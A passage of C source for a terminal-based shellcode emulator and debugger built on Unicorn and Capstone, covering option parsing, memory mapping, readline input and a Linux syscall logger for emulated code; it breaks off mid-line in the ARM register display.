0); wrefresh(cmdw); 255 | 256 | curs_set(2); 257 | while(true) { 258 | ch = getch(); 259 | // mvwprintw(stdscr, 0, 15, "key: 0%o(%d) <%c> spos: %d, %d diss->count: %d ", ch, ch, ch, spos, spos+(asswl.nlines-3), diss->count); 260 | // wrefresh(stdscr); 261 | switch(ch) { 262 | case '\f': 263 | wclear(consw); 264 | wrefresh(consw); 265 | break; 266 | 267 | default: 268 | // consw("-> 0x%x\n", ch); 269 | forward_to_readline(ch); 270 | if (*readline_command != 0) { 271 | cmd_state = runcmd(uc, ip, readline_command); 272 | *readline_command = 0; 273 | wmove(cmdw, 0, strlen(RL_PROMPT)); wrefresh(cmdw); 274 | switch(cmd_state) { 275 | case DONE_PROCESSING: 276 | curs_set(0); 277 | return; 278 | case MORE_COMMANDS: 279 | break; 280 | } 281 | } 282 | } 283 | wrefresh(cmdw); 284 | } 285 | } 286 | 287 | void usage(void) 288 | { 289 | printf("%s [OPTION]... [file]\n", BINNAME); 290 | printf("\n"); 291 | printf("Options:\n"); 292 | printf(" -a ARCH CPU Arch. (x86 or ARM. Default: x86)\n"); 293 | printf(" -m MODE CPU mode. (32 or 64. Default: 32)\n"); 294 | printf(" -B BASEADDR Set baseaddress. (Default: 0x400000)\n"); 295 | // printf(" -O OS (linux). Default: linux).\n"); 296 | printf(" -r FILE Set initial values of registers.\n"); 297 | printf(" -M FILE Load a memory map. (-r required).\n"); 298 | printf(" Overrides file and BASEADDRESS.\n"); 299 | printf(" -f FOLLOWADDR Set address in follow window. (Default: code)\n"); 300 | printf(" -b bp_addr[,bp_addr,..] Set breakpoint(s).\n"); 301 | printf(" -R Start in RUN(c) mode\n"); 302 | printf("\nExamples:\n"); 303 | printf(" $ %s ./sample_x86.shellcode\n", BINNAME); 304 | printf(" $ %s -a ARM ./sample_arm.shellcode\n", BINNAME); 305 | printf(" $ %s -M ./memory_map -r ./registers\n", BINNAME); 306 | } 307 | 308 | struct options *parseopts(int argc, char **argv) 309 | { 310 | int c; 311 | char *s; 312 | int i, cnt; 313 | char *initial_reg_file = NULL; 314 | char *memory_map_file = NULL; 315 | 316 | opts = xmalloc(sizeof(struct options)); 317 | 318 | // default values 319 | opts->arch = X86; 320 | opts->mode = MODE_32; 321 | opts->baseaddress = 0x400000; 322 | opts->initial_regs = NULL; 323 | opts->mmap = NULL; 324 | stepmode = STEP; 325 | opts->os = LINUX; 326 | opts->follow = -1; 327 | 328 | // init 329 | last_follow_bytes = NULL; 330 | 331 | while ((c = getopt(argc, argv, "a:m:B:b:O:r:M:f:R?")) != -1) { 332 | switch(c) { 333 | case 'a': // process arch 334 | if (strcmp(optarg, "x86") == 0) { 335 | opts->arch = X86; 336 | } else if (strcmp(optarg, "ARM") == 0) { 337 | opts->arch = ARM; 338 | } else { 339 | usage(); 340 | exit(1); 341 | } 342 | break; 343 | 344 | case 'm': // cpu mode 345 | if (strcmp(optarg, "32") == 0) { 346 | opts->mode = MODE_32; 347 | } else if (strcmp(optarg, "64") == 0) { 348 | opts->mode = MODE_64; 349 | } else { 350 | usage(); 351 | exit(1); 352 | } 353 | break; 354 | 355 | case 'B': // baseaddress 356 | opts->baseaddress = strtoul(optarg, NULL, 0); 357 | break; 358 | 359 | case 'b': // breakpoints 360 | cnt = 1; 361 | for (i = 0; i < strlen(optarg); i++) { 362 | if (optarg[i] == ',') 363 | cnt++; 364 | } 365 | breakpoints = calloc(sizeof(uint64_t), cnt+1); 366 | s = strtok(optarg, ","); 367 | breakpoints[0] = strtoul(s, NULL, 0); 368 | for (i=1; (s = strtok(NULL, ",")) != NULL; i++) { 369 | breakpoints[i] = strtoul(s, NULL, 0); 370 | } 371 | break; 372 | 373 | case 'f': // follow address 374 | opts->follow = strtoul(optarg, NULL, 0); 375 | break; 376 | 377 | case 'r': // init registers 378 | initial_reg_file = optarg; 379 | break; 380 | 381 | case 'M': // load memory segments 382 | memory_map_file = optarg; 383 | break; 384 | 385 | case 'R': 386 | stepmode = RUN; 387 | break; 388 | 389 | case 'O': 390 | if (strcmp(optarg, "linux") == 0) { 391 | opts->os = LINUX; 392 | } else { 393 | printf("unsupported OS: %s\n", optarg); 394 | exit(1); 395 | } 396 | break; 397 | 398 | case '?': 399 | usage(); 400 | exit(1); 401 | break; 402 | 403 | default: 404 | usage(); 405 | exit(1); 406 | } 407 | } 408 | opts->scfile = argv[optind]; 409 | 410 | if (initial_reg_file) 411 | opts->initial_regs = init_registers_from_file(initial_reg_file); 412 | 413 | if (memory_map_file) { 414 | if (!initial_reg_file) { 415 | printf("ERROR: need registers file!\n"); 416 | usage(); 417 | exit(1); 418 | } 419 | opts->mmap = init_memory_map(memory_map_file); 420 | opts->scfile = NULL; 421 | } else if (opts->scfile == NULL) { 422 | usage(); 423 | exit(1); 424 | } 425 | 426 | return(opts); 427 | } 428 | 429 | int main(int argc, char **argv) 430 | { 431 | struct memory_map *m = NULL; 432 | 433 | diss = NULL; 434 | parseopts(argc, argv); 435 | 436 | if (opts->mmap != NULL) { 437 | m = opts->mmap; 438 | } else { 439 | opts->mmap = xmalloc(sizeof(struct memory_map)); 440 | opts->mmap->rf = readfile(opts->scfile); 441 | opts->mmap->len = MAX(opts->mmap->rf->len, 3 * 1024 * 1024); 442 | opts->mmap->baseaddr = opts->baseaddress; // TODO remove opts->baseaddress 443 | opts->mmap->prot = UC_PROT_ALL; 444 | m = opts->mmap; 445 | } 446 | 447 | ncurses_init(); 448 | 449 | while (true) { 450 | xfree(diss); 451 | if (opts->arch == X86 && opts->mode == MODE_32) { 452 | diss = disass(m->rf->bytes, m->rf->len, m->baseaddr, CS_ARCH_X86, CS_MODE_32); 453 | unicorn_x86(m->rf->bytes, m->rf->len, m->baseaddr); 454 | } else if (opts->arch == X86 && opts->mode == MODE_64) { 455 | diss = disass(m->rf->bytes, m->rf->len, m->baseaddr, CS_ARCH_X86, CS_MODE_64); 456 | unicorn_x64(m->rf->bytes, m->rf->len, m->baseaddr); 457 | } else if (opts->arch == ARM && opts->mode == MODE_32) { 458 | diss = disass(m->rf->bytes, m->rf->len, m->baseaddr, CS_ARCH_ARM, CS_MODE_ARM); 459 | unicorn_arm(m->rf->bytes, m->rf->len, m->baseaddr); 460 | } else { 461 | endwin(); 462 | printf("not supported yet!\n"); 463 | exit(0); 464 | } 465 | wclear(consw); 466 | wrefresh(consw); 467 | } 468 | 469 | endwin(); 470 | return(0); 471 | } 472 | -------------------------------------------------------------------------------- /src/memory_map.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | void map_and_write_memory(uc_engine *uc, struct memory_map *mmap) 4 | { 5 | struct memory_map *p; 6 | uc_err err; 7 | p = mmap; 8 | 9 | do { 10 | // consw("map 0x%08x with len: 0x%x (%d)\n", p->baseaddr, p->len, p->len); 11 | err = 0; 12 | if ((err = uc_mem_map(uc, p->baseaddr, p->len, p->prot)) != UC_ERR_OK) { 13 | consw_err("uc_mem_map() error %u: %s\n", err, uc_strerror(err)); 14 | consw(" baseaddress: 0x%llx\n", p->baseaddr); 15 | consw(" map len: 0x%lx (%lu)\n", p->len, p->len); 16 | consw(" code len: 0x%lx (%lu)\n", p->rf->len, p->rf->len); 17 | goto error; 18 | } 19 | 20 | if ((err = uc_mem_write(uc, p->baseaddr, p->rf->bytes, p->rf->len)) != UC_ERR_OK) { 21 | consw_err("uc_mem_write() error %u: %s\n", err, uc_strerror(err)); 22 | consw(" baseaddress: 0x%llx\n", p->baseaddr); 23 | consw(" map len: 0x%lx (%lu)\n", p->len, p->len); 24 | consw(" code len: 0x%lx (%lu)\n", p->rf->len, p->rf->len); 25 | goto error; 26 | } 27 | } while ((p = p->next) != NULL); 28 | 29 | return; 30 | 31 | error: 32 | getch(); 33 | endwin(); 34 | exit(1); 35 | } 36 | 37 | struct memory_map * mmap_for_address(uint64_t address) 38 | { 39 | struct memory_map *p; 40 | p = opts->mmap; 41 | do { 42 | if (address >= p->baseaddr && address <= (p->baseaddr+p->len)) { 43 | return(p); 44 | } 45 | } while ((p = p->next) != NULL); 46 | 47 | return(NULL); 48 | } 49 | 50 | void print_memory_map(struct memory_map *m) 51 | { 52 | struct memory_map *p; 53 | p = m; 54 | 55 | consw("------------- [Memory MAP] -------------\n"); 56 | do { 57 | consw(" 0x%08llx - 0x%08llx %c%c%c\n", 58 | p->baseaddr, 59 | (p->baseaddr + p->len), 60 | ((p->prot & UC_PROT_READ) ? 'r':'-'), 61 | ((p->prot & UC_PROT_WRITE) ? 'w':'-'), 62 | ((p->prot & UC_PROT_EXEC) ? 'x':'-')); 63 | } while ((p = p->next) != NULL); 64 | consw("----------------------------------------\n"); 65 | } 66 | 67 | -------------------------------------------------------------------------------- /src/readfile.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | struct readfile * readfile(char *filename) 4 | { 5 | int fd; 6 | struct readfile *rf; 7 | struct stat sb; 8 | size_t r, offs; 9 | 10 | if ((fd = open(filename, O_RDONLY)) == -1) { 11 | printf("%s: %s\n", filename, strerror(errno)); 12 | exit(1); 13 | } 14 | 15 | if (fstat(fd, &sb) == -1) { 16 | printf("readfile(%s): fstat: %s\n", filename, strerror(errno)); 17 | exit(1); 18 | } 19 | 20 | rf = xmalloc(sizeof(struct readfile)); 21 | rf->len = sb.st_size; 22 | rf->filename = xmalloc(strlen(filename)+1); 23 | strcpy(rf->filename, filename); 24 | rf->bytes = xmalloc(rf->len); 25 | 26 | memset(rf->bytes, 0, rf->len); 27 | offs = 0; 28 | while ((r = read(fd, (rf->bytes)+offs, rf->len)) != 0) { 29 | offs += r; 30 | } 31 | 32 | close(fd); 33 | return(rf); 34 | } 35 | -------------------------------------------------------------------------------- /src/readline.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | // 3 | // kudoz to ulfalizer (https://github.com/ulfalizer/readline-and-ncurses.git) 4 | // 5 | 6 | // Input character for readline. 7 | static unsigned char input; 8 | 9 | // Used to signal "no more input" after feeding a character to readline. 10 | static bool input_avail = false; 11 | 12 | static int readline_getc(FILE *dummy) { 13 | input_avail = false; 14 | return input; 15 | } 16 | 17 | static void readline_redisplay(void) { 18 | size_t curs_pos = strlen(rl_display_prompt) + rl_point; 19 | 20 | werase(cmdw); 21 | mvwprintw(cmdw, 0, 0, "%s%s", rl_display_prompt, rl_line_buffer); 22 | wmove(cmdw, 0, curs_pos); 23 | wrefresh(cmdw); 24 | } 25 | 26 | static int readline_input_avail(void) { 27 | return input_avail; 28 | } 29 | 30 | static void run_prev_command(void) 31 | { 32 | HIST_ENTRY *he = history_get(where_history()); 33 | 34 | if (he == NULL) { 35 | strcpy(readline_command, "help"); 36 | } else { 37 | strncpy(readline_command, he->line, MAX_CMD); 38 | } 39 | } 40 | 41 | void forward_to_readline(char c) { 42 | input = c; 43 | input_avail = true; 44 | if (c == '\n' && rl_point == 0) { 45 | run_prev_command(); 46 | return; 47 | } 48 | rl_callback_read_char(); 49 | } 50 | 51 | void command_entered(char *line) { 52 | HIST_ENTRY *he; 53 | 54 | if (line == NULL) { 55 | return; 56 | } else if (*line != '\0') { 57 | he = previous_history(); 58 | if (he == NULL || strcmp(he->line, line) != 0) 59 | add_history(line); 60 | strncpy(readline_command, line, MAX_CMD); 61 | } 62 | } 63 | 64 | int ucui_readline_init(void) 65 | { 66 | cmds = init_commands(); 67 | readline_command = xmalloc(MAX_CMD+1); 68 | 69 | using_history(); 70 | 71 | // Disable completion. TODO: Is there a more robust way to do this? 72 | rl_bind_key('\t', rl_insert); 73 | 74 | // Let ncurses do all terminal and signal handling. 75 | rl_catch_signals = 0; 76 | rl_catch_sigwinch = 0; 77 | rl_deprep_term_function = NULL; 78 | rl_prep_term_function = NULL; 79 | 80 | // Prevent readline from setting the LINES and COLUMNS environment 81 | // variables, which override dynamic size adjustments in ncurses. When 82 | // using the alternate readline interface (as we do here), LINES and 83 | // COLUMNS are not updated if the terminal is resized between two calls to 84 | // rl_callback_read_char() (which is almost always the case). 85 | rl_change_environment = 0; 86 | 87 | // Handle input by manually feeding characters to readline. 88 | rl_getc_function = readline_getc; 89 | rl_input_available_hook = readline_input_avail; 90 | rl_redisplay_function = readline_redisplay; 91 | rl_callback_handler_install(RL_PROMPT, command_entered); 92 | 93 | return(0); 94 | } 95 | -------------------------------------------------------------------------------- /src/syscall.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | uint64_t uc_mem_read_uint64_t(uc_engine *uc, uint64_t uc_addr) 4 | { 5 | uint64_t val; 6 | if (uc_mem_read(uc, uc_addr, &val, sizeof(uint64_t)) != UC_ERR_OK) { 7 | val = -1; 8 | } 9 | return(val); 10 | } 11 | 12 | uint32_t uc_mem_read_uint32_t(uc_engine *uc, uint64_t uc_addr) 13 | { 14 | uint32_t val; 15 | if (uc_mem_read(uc, uc_addr, &val, sizeof(uint32_t)) != UC_ERR_OK) { 16 | val = -1; 17 | } 18 | return(val); 19 | } 20 | 21 | char * uc_mem_read_string(uc_engine *uc, uint64_t uc_addr, size_t maxlen, bool c_string) 22 | { 23 | char *s = 0; 24 | char *sp = 0; 25 | size_t cutoff = 255; 26 | size_t len = MIN(cutoff, maxlen); 27 | unsigned char hn, ln; 28 | int i,j; 29 | 30 | if ((uint32_t)maxlen > cutoff) 31 | consw("\nWARN: %s:%d uc_mem_read_string(): maxlen(%u) < cutoff(%u). Limiting to %u bytes.\n", __FILE__, __LINE__, maxlen, cutoff, len); 32 | 33 | s = xmalloc(len+1); 34 | memset(s, 0, len); 35 | 36 | if (uc_mem_read(uc, uc_addr, s, len) != UC_ERR_OK) { 37 | sprintf(s, "*((char*)0x%lx)", uc_addr); 38 | return(s); 39 | } 40 | 41 | sp = xmalloc(len*2); 42 | memset(sp, 0, len); 43 | for (i=0, j=0; i < len && j < len; i++, j++) { 44 | switch(s[i]) { 45 | default: 46 | if (s[i] >= 32 && s[i] <= 126) { 47 | sp[j] = s[i]; 48 | } else { 49 | if (c_string) 50 | break; 51 | hn = (s[i] & 0xf0) >> 4; 52 | hn += (hn > 9) ? 87 : 48; 53 | ln = s[i] & 0xf; 54 | ln += (ln > 9) ? 87 : 48; 55 | sp[j] = '\\'; 56 | sp[++j] = 'x'; 57 | sp[++j] = hn; 58 | sp[++j] = ln; 59 | } 60 | break; 61 | case '\n': 62 | sp[j] = '\\'; 63 | sp[++j] = 'n'; 64 | break; 65 | case '\r': 66 | sp[j] = '\\'; 67 | sp[++j] = 'r'; 68 | break; 69 | case '\t': 70 | sp[j] = '\\'; 71 | sp[++j] = 't'; 72 | break; 73 | } 74 | } 75 | 76 | xfree(s); 77 | return(sp); 78 | } 79 | 80 | // 81 | // prints "const char *const array[]" arguments 82 | // 83 | char * const_char_array_string(uc_engine *uc, void *saddr) 84 | { 85 | uint64_t ptr_addr; 86 | uint64_t str_addr; 87 | char *s = 0, *s2 = 0, *ms = 0; 88 | int i; 89 | 90 | s2 = xmalloc(260); 91 | ms = xmalloc(260*4); 92 | memset(ms, 0, (260*4)); 93 | 94 | ptr_addr = (opts->mode == MODE_32 ? *((uint32_t*)saddr) : *((uint64_t*)saddr)); 95 | if (ptr_addr != 0) { 96 | sprintf(ms, "["); 97 | 98 | for (i=0; i<4; i++) { 99 | str_addr = (opts->mode == MODE_32 ? uc_mem_read_uint32_t(uc, ptr_addr) : uc_mem_read_uint64_t(uc, ptr_addr)); 100 | if (str_addr == 0) 101 | break; 102 | s = uc_mem_read_string(uc, str_addr, 255, true); 103 | snprintf(s2, 260, "%s\"%s\"", (i>0 ? ", " : ""), s); 104 | strncat(ms, s2, 260); 105 | xfree(s); 106 | ptr_addr += (opts->mode == MODE_32 ? 4 : 8); 107 | } 108 | strcat(ms, "]"); 109 | } else { 110 | strcpy(ms, "NULL"); 111 | } 112 | xfree(s2); 113 | 114 | return(ms); 115 | } 116 | 117 | -------------------------------------------------------------------------------- /src/syscall_linux.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | #include "syscall.h" 3 | 4 | // 5 | // Mapping between generic syscall and x86 syscall number 6 | // 7 | enum linux_syscall * linux_syscall_map_x86(void) 8 | { 9 | enum linux_syscall *sm = NULL; 10 | size_t size; 11 | 12 | size = (sizeof(enum linux_syscall) * 190) + 1; 13 | sm = xmalloc(size); 14 | memset(sm, 0, size); 15 | 16 | sm[1] = SYS_EXIT; 17 | sm[3] = SYS_READ; 18 | sm[4] = SYS_WRITE; 19 | sm[5] = SYS_OPEN; 20 | sm[6] = SYS_CLOSE; 21 | sm[11] = SYS_EXECVE; 22 | sm[15] = SYS_CHMOD; 23 | sm[23] = SYS_SETUID; 24 | sm[24] = SYS_SETGID; 25 | sm[27] = SYS_ALARM; 26 | sm[34] = SYS_NICE; 27 | sm[37] = SYS_KILL; 28 | sm[41] = SYS_DUP; 29 | sm[48] = SYS_SIGNAL; 30 | sm[54] = SYS_IOCTL; 31 | sm[60] = SYS_UMASK; 32 | sm[63] = SYS_DUP2; 33 | sm[69] = SYS_SSETMASK; 34 | sm[70] = SYS_SETREUID; 35 | sm[96] = SYS_GETPRIORITY; 36 | sm[97] = SYS_SETPRIORITY; 37 | sm[118] = SYS_FSYNC; 38 | sm[133] = SYS_FCHDIR; 39 | sm[143] = SYS_FLOCK; 40 | sm[148] = SYS_FDATASYNC; 41 | sm[152] = SYS_MLOCKALL; 42 | sm[159] = SYS_SCHED_GET_PRIORITY_MAX; 43 | sm[160] = SYS_SCHED_GET_PRIORITY_MIN; 44 | 45 | return(sm); 46 | } 47 | 48 | // 49 | // Mapping between generic syscall and x64 syscall number 50 | // 51 | enum linux_syscall * linux_syscall_map_x64(void) 52 | { 53 | enum linux_syscall *sm = NULL; 54 | size_t size; 55 | 56 | size = (sizeof(enum linux_syscall) * 322) + 1; 57 | sm = xmalloc(size); 58 | memset(sm, 0, size); 59 | 60 | sm[1] = SYS_WRITE; 61 | sm[59] = SYS_EXECVE; 62 | sm[60] = SYS_EXIT; 63 | 64 | return(sm); 65 | } 66 | 67 | 68 | // 69 | // x86 syscall descrambler 70 | // 71 | void hook_intr_x86_linux(uc_engine *uc, uint32_t intno, void *user_data) 72 | { 73 | struct x86_regs *r; 74 | enum linux_syscall *syscall_map = NULL; 75 | int32_t ret; 76 | 77 | syscall_map = linux_syscall_map_x86(); 78 | 79 | r = read_x86_registers(uc); 80 | consw_info("%08x: syscall %-3d ", r->eip, r->eax); 81 | if (r->eax > 190 || syscall_map[r->eax] == 0) { 82 | consw("invalid linux syscall\n"); 83 | } else { 84 | ret = linux_syscall_printw(consw, uc, syscall_map[r->eax], &r->ebx, &r->ecx, &r->edx, &r->edx, &r->esi, &r->edi); 85 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 86 | } 87 | xfree(syscall_map); 88 | } 89 | 90 | // 91 | // x64 syscall descrambler 92 | // 93 | void hook_intr_x64_linux(uc_engine *uc, uint32_t intno, void *user_data) 94 | { 95 | struct x64_regs *r; 96 | enum linux_syscall *syscall_map; 97 | int64_t ret; 98 | 99 | syscall_map = linux_syscall_map_x64(); 100 | 101 | r = read_x64_registers(uc); 102 | wprintw(consw, ">>> %08x: syscall %-03d ", r->rip, r->rax); 103 | 104 | if (r->rax > 322 || syscall_map[r->rax] == 0) { 105 | wprintw(consw, "unhandled syscall\n"); 106 | wrefresh(consw); 107 | return; 108 | } else { 109 | ret = linux_syscall_printw(consw, uc, syscall_map[r->rax], &r->rdi, &r->rsi, &r->rdx, &r->r10, &r->r8, &r->r9); 110 | uc_reg_write(uc, UC_X86_REG_RAX, &ret); 111 | } 112 | xfree(syscall_map); 113 | } 114 | 115 | // 116 | // arm syscall descrambler 117 | // 118 | void hook_intr_arm_linux(uc_engine *uc, uint32_t intno, void *user_data) 119 | { 120 | struct arm_regs *r; 121 | enum linux_syscall *syscall_map; 122 | int32_t ret; 123 | 124 | // syscall map for 32bits ARM seems to be the same as x86 125 | syscall_map = linux_syscall_map_x86(); 126 | 127 | r = read_arm_registers(uc); 128 | consw_info("%08x: syscall %-03d", r->pc, r->r7); 129 | if (r->r7 > 190 || syscall_map[r->r7] == 0) { 130 | consw("unhandled syscall\n"); 131 | return; 132 | } else { 133 | ret = linux_syscall_printw(consw, uc, syscall_map[r->r7], &r->r0, &r->r1, &r->r2, &r->r3, &r->r4, &r->r5); 134 | uc_reg_write(uc, UC_ARM_REG_R0, &ret); 135 | } 136 | xfree(syscall_map); 137 | } 138 | 139 | 140 | // 141 | // Generic syscall printer for x86, x64 and ARM 142 | // 143 | int32_t linux_syscall_printw( 144 | WINDOW *w, uc_engine *uc, enum linux_syscall scnum, 145 | void *arg0, void *arg1, void *arg2, 146 | void *arg3, void *arg4, void *arg5) 147 | { 148 | int32_t ret = 0; 149 | char *s1=0, *s2=0, *s3=0; 150 | 151 | switch(scnum) { 152 | default: 153 | consw("unknown syscall\n"); 154 | break; 155 | 156 | case SYS_EXIT: 157 | consw("SYS_EXIT(%d)\n", *((int*)arg0)); 158 | consw_info("SYS_EXIT: Stopping emulation.\n"); 159 | uc_emu_stop(uc); 160 | break; 161 | 162 | case SYS_READ: 163 | ret = *((uint32_t*)arg2); 164 | consw("SYS_READ(%d, %p, %u) = %u\n", *((uint8_t*)arg0), *((uint32_t*)arg1), *((uint32_t*)arg2), ret); 165 | break; 166 | 167 | case SYS_OPEN: 168 | s1 = uc_mem_read_string(uc, *((uint32_t*)arg0), 255, true); 169 | ret = rand() & 0xff; 170 | consw("SYS_OPEN(\"%s\", 0x%x, 0x%x) = %d\n", s1, *((int*)arg1), *((int*)arg2), ret); 171 | break; 172 | 173 | case SYS_WRITE: 174 | s1 = uc_mem_read_string(uc, *((uint32_t*)arg1), *((uint32_t*)arg2), false); 175 | ret = *((uint32_t*)arg2); 176 | consw("SYS_WRITE(%d, \"%s\", %u) = %u\n", *((uint8_t*)arg0), s1, *((uint32_t*)arg2), ret); 177 | break; 178 | 179 | case SYS_EXECVE: 180 | s1 = uc_mem_read_string(uc, *((uint32_t*)arg0), 255, true); 181 | s2 = const_char_array_string(uc, arg1); 182 | s3 = const_char_array_string(uc, arg2); 183 | consw("SYS_EXECVE(\"%s\", %s, %s)\n", s1, s2, s3); 184 | consw_info("SYS_EXECVE: Stopping emulation.\n"); 185 | uc_emu_stop(uc); 186 | break; 187 | 188 | case SYS_IOCTL: 189 | consw("SYS_IOCTL(%u, %u, 0x%lx)\n", *((uint32_t*)arg0), *((uint32_t*)arg1), *((uint32_t*)arg2)); 190 | break; 191 | 192 | case SYS_SIGNAL: 193 | consw("SYS_SIGNAL(%u, 0x%lx)\n", *((uint32_t*)arg0), *((uint32_t*)arg1)); 194 | break; 195 | 196 | case SYS_CHMOD: 197 | s1 = uc_mem_read_string(uc, *((uint32_t*)arg0), 255, true); 198 | consw("SYS_CHMOD(\"%s\", 0%o)\n", s1, *((mode_t*)arg1)); 199 | break; 200 | 201 | case SYS_SETREUID: 202 | consw("SYS_SETREUID(%d, %d)\n", *((uid_t*)arg0), *((uid_t*)arg1)); 203 | break; 204 | 205 | case SYS_SETUID: 206 | consw("SYS_SETUID(%d)\n", *((int*)arg0)); 207 | break; 208 | 209 | case SYS_SETGID: 210 | consw("SYS_SETGID(%d)\n", *((int*)arg0)); 211 | break; 212 | 213 | case SYS_CLOSE: 214 | consw("SYS_CLOSE(%d)\n", *((int*)arg0)); 215 | break; 216 | 217 | case SYS_ALARM: 218 | consw("SYS_ALARM(%d)\n", *((int*)arg0)); 219 | break; 220 | 221 | case SYS_NICE: 222 | consw("SYS_NICE(%d)\n", *((int*)arg0)); 223 | break; 224 | 225 | case SYS_KILL: 226 | consw("SYS_KILL(%d, %d)\n", *((int*)arg0), *((int*)arg1)); 227 | break; 228 | 229 | case SYS_DUP: 230 | consw("SYS_DUP(%d)\n", *((int*)arg0)); 231 | break; 232 | 233 | case SYS_UMASK: 234 | consw("SYS_UMASK(%d)\n", *((int*)arg0)); 235 | break; 236 | 237 | case SYS_DUP2: 238 | consw("SYS_DUP2(%d, %d)\n", *((int*)arg0), *((int*)arg1)); 239 | break; 240 | 241 | case SYS_SSETMASK: 242 | consw("SYS_SSETMASK(%d)\n", *((int*)arg0)); 243 | break; 244 | 245 | case SYS_GETPRIORITY: 246 | consw("SYS_GETPRIORITY(%d, %d)\n", *((int*)arg0), *((int*)arg1)); 247 | break; 248 | 249 | case SYS_SETPRIORITY: 250 | consw("SYS_SETPRIORITY(%d, %d, %d)\n", *((int*)arg0), *((int*)arg1), *((int*)arg2)); 251 | break; 252 | 253 | case SYS_FSYNC: 254 | consw("SYS_FSYNC(%d)\n", *((int*)arg0)); 255 | break; 256 | 257 | case SYS_FCHDIR: 258 | consw("SYS_FCHDIR(%d)\n", *((int*)arg0)); 259 | break; 260 | 261 | case SYS_FLOCK: 262 | consw("SYS_FLOCK(%d, %d)\n", *((int*)arg0), *((int*)arg1)); 263 | break; 264 | 265 | case SYS_FDATASYNC: 266 | consw("SYS_FDATASYNC(%d)\n", *((int*)arg0)); 267 | break; 268 | 269 | case SYS_MLOCKALL: 270 | consw("SYS_MLOCKALL(%d)\n", *((int*)arg0)); 271 | break; 272 | 273 | case SYS_SCHED_GET_PRIORITY_MAX: 274 | consw("SYS_SCHED_GET_PRIORITY_MAX(%d)\n", *((int*)arg0)); 275 | break; 276 | 277 | case SYS_SCHED_GET_PRIORITY_MIN: 278 | consw("SYS_SCHED_GET_PRIORITY_MIN(%d)\n", *((int*)arg0)); 279 | break; 280 | 281 | } 282 | 283 | xfree(s1); 284 | xfree(s2); 285 | xfree(s3); 286 | wrefresh(w); 287 | return(ret); 288 | } 289 | -------------------------------------------------------------------------------- /src/unicorn_arm.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | struct arm_regs * read_arm_registers(uc_engine *uc) 4 | { 5 | struct arm_regs *r; 6 | r = xmalloc(sizeof(struct arm_regs)); 7 | uc_reg_read(uc, UC_ARM_REG_R0, &r->r0); 8 | uc_reg_read(uc, UC_ARM_REG_R1, &r->r1); 9 | uc_reg_read(uc, UC_ARM_REG_R2, &r->r2); 10 | uc_reg_read(uc, UC_ARM_REG_R3, &r->r3); 11 | uc_reg_read(uc, UC_ARM_REG_R4, &r->r4); 12 | uc_reg_read(uc, UC_ARM_REG_R5, &r->r5); 13 | uc_reg_read(uc, UC_ARM_REG_R6, &r->r6); 14 | uc_reg_read(uc, UC_ARM_REG_R7, &r->r7); 15 | uc_reg_read(uc, UC_ARM_REG_R8, &r->r8); 16 | uc_reg_read(uc, UC_ARM_REG_SB, &r->sb); 17 | uc_reg_read(uc, UC_ARM_REG_SL, &r->sl); 18 | uc_reg_read(uc, UC_ARM_REG_FP, &r->fp); 19 | uc_reg_read(uc, UC_ARM_REG_IP, &r->ip); 20 | uc_reg_read(uc, UC_ARM_REG_SP, &r->sp); 21 | uc_reg_read(uc, UC_ARM_REG_LR, &r->lr); 22 | uc_reg_read(uc, UC_ARM_REG_PC, &r->pc); 23 | uc_reg_read(uc, UC_ARM_REG_CPSR, &r->cpsr); 24 | return(r); 25 | } 26 | 27 | 28 | void printregs_arm(uc_engine *uc) 29 | { 30 | struct arm_regs *r; 31 | short hl, dl; 32 | r = read_arm_registers(uc); 33 | 34 | if (prev_regs_arm == NULL) { 35 | prev_regs_arm = r; 36 | } 37 | 38 | hl = 1; 39 | dl = 2; 40 | mvwprintw(regsw, hl, 2, "R0 R1 R2 R3 R4"); 41 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x", r->r0, r->r1, r->r2, r->r3, r->r4); 42 | if (r->r0 != prev_regs_arm->r0) 43 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 44 | if (r->r1 != prev_regs_arm->r1) 45 | mvwchgat(regsw, dl, 14, 10, A_BOLD, 0, NULL); 46 | if (r->r2 != prev_regs_arm->r2) 47 | mvwchgat(regsw, dl, 26, 10, A_BOLD, 0, NULL); 48 | if (r->r3 != prev_regs_arm->r3) 49 | mvwchgat(regsw, dl, 38, 10, A_BOLD, 0, NULL); 50 | if (r->r4 != prev_regs_arm->r4) 51 | mvwchgat(regsw, dl, 50, 10, A_BOLD, 0, NULL); 52 | 53 | hl = 3; 54 | dl = 4; 55 | mvwprintw(regsw, hl, 2, "R5 R6 R7 R8 SB(R9)"); 56 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x", r->r5, r->r6, r->r7, r->r8, r->sb); 57 | if (r->r5 != prev_regs_arm->r5) 58 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 59 | if (r->r6 != prev_regs_arm->r6) 60 | mvwchgat(regsw, dl, 14, 10, A_BOLD, 0, NULL); 61 | if (r->r7 != prev_regs_arm->r7) 62 | mvwchgat(regsw, dl, 26, 10, A_BOLD, 0, NULL); 63 | if (r->r8 != prev_regs_arm->r8) 64 | mvwchgat(regsw, dl, 38, 10, A_BOLD, 0, NULL); 65 | if (r->sb != prev_regs_arm->sb) 66 | mvwchgat(regsw, dl, 50, 10, A_BOLD, 0, NULL); 67 | 68 | hl = 5; 69 | dl = 6; 70 | mvwprintw(regsw, hl, 2, "SL(R10) FP(R11) IP(R12) SP(R13) LR(R14)"); 71 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x", r->sl, r->fp, r->ip, r->sp, r->lr); 72 | if (r->sl != prev_regs_arm->sl) 73 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 74 | if (r->fp != prev_regs_arm->fp) 75 | mvwchgat(regsw, dl, 14, 10, A_BOLD, 0, NULL); 76 | if (r->ip != prev_regs_arm->ip) 77 | mvwchgat(regsw, dl, 26, 10, A_BOLD, 0, NULL); 78 | if (r->sp != prev_regs_arm->sp) 79 